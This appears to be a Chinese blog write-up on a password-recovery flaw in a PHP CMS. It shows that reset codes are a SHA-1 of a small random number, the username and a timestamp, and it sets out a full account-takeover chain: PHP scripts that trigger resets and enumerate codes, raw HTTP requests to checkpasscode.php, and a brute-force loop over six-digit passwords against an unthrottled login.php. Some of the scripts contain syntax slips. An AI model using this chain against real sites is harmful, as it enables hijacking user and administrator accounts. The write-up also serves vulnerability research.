这个算得上是设计的缺陷吧,但是理由比较蛋疼
在文件fapassword.php里面看到取回密码的过程如下
sql_exec( "delete from `".$tablepre."forgetcode` where `datetime`<".( time( ) - 86400 ) ); $tpl->assign( "scriptTEXT", "" ); $username = trim( $username ); $email = trim( $email ); if ( ereg( "^[^ '///"//.;`]+/$", $username ) ) //对非符号进行匹配 { } if ( !checklen( $username, 4, 20 ) ) //限制长度4-20个字节 if ( !checklen( $email, 6, 100 ) ) //限制长度6-100个字节 $obj = sql_query( "select * from `".$tablepre."user` where `username` = '{$username}' and `email` = '{$email}'" ); if ( 0 < $obj->rowCount( ) ) { $rs = $obj->fetch( ); //分割数组 $uid = $rs['uid']; $email = $rs['email']; srand( ( double )microtime( ) * 1000000 ); $code = rand( 10000, 99999 ); $code .= $username; $code .= time( ); $code = rand( 10000, 99999 ).$username.$time( ); //再对其进行sha1加密,可以考虑暴力破解 $code = sha1( $code ); if ( sql_exec( "insert into `".$tablepre."forgetcode` values(NULL, '{$code}', {$uid}, '{$email}', ".time( ).")" ) ) //插入数据库,等待查询 { $tmpTitle = iconv( "utf-8", "gb2312", $_VCACHE['setting']['sitename']." - 密码找回确认" ); $tmpBody = iconv( "utf-8", "gb2312", "请点击以下链接确认修改您的密码(24小时内有效)/nhttp://".$host."/checkpasscode.php?code={$code}&uid={$uid}" ); //code可以生产,uid可以查询到
取回密码仅仅是需要验证{$username}以及{$email}即可。这个恰恰是可以在info.php里面查询到。再来看它生产code的方式
$code = rand( 10000, 99999 );$code .= $username;$code .= time( );$code = sha1( $code );
然后就直接存入数据库了。
sql_exec( "insert into `".$tablepre."forgetcode` values(NULL, '{$code}', {$uid}, '{$email}', ".time( ).")" )
然后就是如果有效的,就发送出去
tmpBody = iconv( "utf-8", "gb2312", "请点击以下链接确认修改您的密码(24小时内有效)/nhttp://".$host."/checkpasscode.php?code={$code}&uid={$uid}" ); //code可以生产,uid可以查询到
而checkpasscode.php里面检测的是我们传过去的code还有uid
$obj = sql_query( "select * from `".$tablepre."forgetcode` where `code` = '{$code}' and `uid` = {$uid}" ); if ( 0 < $obj->rowCount( ) ) { $rs = $obj->fetch( ); srand( ( double )microtime( ) * 1000000 ); $password = rand( 100000, 999999 ); //重新随机生成8位数字密码 if ( sql_exec( "update `".$tablepre."user` set `password` = '".md5( $password ).( "' where `uid` = ".$uid ) ) ) $email = get_one_column( "SELECT `email` FROM `".$tablepre."user` WHERE `uid`='{$uid}'" ); $tmpTitle = iconv( "utf-8", "gb2312", $_VCACHE['setting']['sitename']." - 密码找回" ); $tmpBody = iconv( "utf-8", "gb2312", "您的新密码为:".$password ); }
所以我们完全可以在本地构造一个取回密码的请求,同时在提交的时候,记录下当时提交的时间。
<?php $host="192.168.1.104"; $username="admin"; $email="admin@localhost"; $url = "http://".$host."/fpassword.php"; // 参数数组 $data ="username=".$username."&step=1&email=".$email; function curl($host,$data){ $ch = curl_init (); curl_setopt ( $ch, CURLOPT_URL, $host ); curl_setopt ( $ch, CURLOPT_POST, 1 ); curl_setopt ( $ch, CURLOPT_HEADER, 0 ); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data ); $return = curl_exec ( $ch ); curl_close ( $ch ); echo time()."/n/r"; } //$code = rand(10000,99999); for ($code=10000;$code<99999;$code++){ $codede=sha1($code.$username.curl($url,$data)); echo "/r/n"; echo $codede; } ?>
然后把生成出来的拿来对
http://".$host."/checkpasscode.php?code=".$codede."&uid=".$uid;
里面的code进行填充,先来看看数据库里面的
一旦发现状态码为200并且返回的数据比较大,就可以重新爆破密码了。因为这里的密码是
$password = rand( 100000, 999999 ); //重新随机生成8位数字密码
所以,是可以直接爆破的
首先来收集信息以及获取提交的时间
然后等待获取执行的时间
获取到时间了,就直接利用脚本来生成我们需要的code
<?php $username="admin"; for ($code=10000;$code<99999;$code++){ $codede=sha1($code.$username."1428655846"); echo "/r/n"; echo $codede; } ?>
然后我们到/checkpasscode.php这里去提交
GET /checkpasscode.php?code=fbccd430e54d3573995d977ff89303efb10181bc&uid=1 HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Accept-Language: zh-cn UA-CPU: x86 Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322) Host: 192.168.1.104
因为这里匹配到了,提示的是
if ( sql_exec( "insert into `".$tablepre."forgetcode` values(NULL, '{$code}', {$uid}, '{$email}', ".time( ).")" ) ) //插入数据库,等待查询 { $tmpTitle = iconv( "utf-8", "gb2312", $_VCACHE['setting']['sitename']." - 密码找回确认" ); $tmpBody = iconv( "utf-8", "gb2312", "请点击以下链接确认修改您的密码(24小时内有效)/nhttp://".$host."/checkpasscode.php?code={$code}&uid={$uid}" ); //code可以生产,uid可以查询到 if ( $_VCACHE['setting']['sendmail'] == 1 ) { ini_set( "sendmail_from", $_VCACHE['setting']['sendmail_from'] ); ini_set( "sendmail_path", $_VCACHE['setting']['sendmail_path'] ); mail( $email, $tmpTitle, $tmpBody ); } else if ( $_VCACHE['setting']['sendmail'] == 2 ) { $sm = new smail( $_VCACHE['setting']['smtp_username'], $_VCACHE['setting']['smtp_password'], $_VCACHE['setting']['smtp_server'] ); $end = $sm->send( $email, $_VCACHE['setting']['smtp_username'], $tmpTitle, $tmpBody ); } $tpl->assign( "scriptTEXT", "" ); message( $lang['sysinfo'], "请登陆您的邮箱查收邮件,点击链接修改您的密码!" ); }
直接跑到邮箱去了...所以,就算我们爆破到了这个code还是没有办法登录。但是因为这里的登录是没有验证码啥的。可以直接爆破,而密码又是随机8位。这里也是可以进行爆破的
<?php for ($i=100000;i<999999;i++) { echo "/r/n"; echo $i; ?>
把生成保存出来的继续拿来爆破,在登录验证的时候发现并没有验证码啥的
POST: /login.php HTTP/1.1 Host: 192.168.1.104 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://192.168.1.104/login.php Cookie: CNZZDATA4654384=cnzz_eid%3D1699183875-1428620377-%26ntime%3D1428651685; PHPSESSID=36an60hf33vldhprvuo27rdqv2 Content-Type: application/x-www-form-urlencoded Content-Length: 49 username=admin&password=adminadi&step=1
然后再次Burp就好了。
PS:这里的两个都是缺一不可啊。首先如果不是code的设计缺陷,就没有办法对其进行匹配。如果第二步的密码不是纯数字。也增加了难道。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论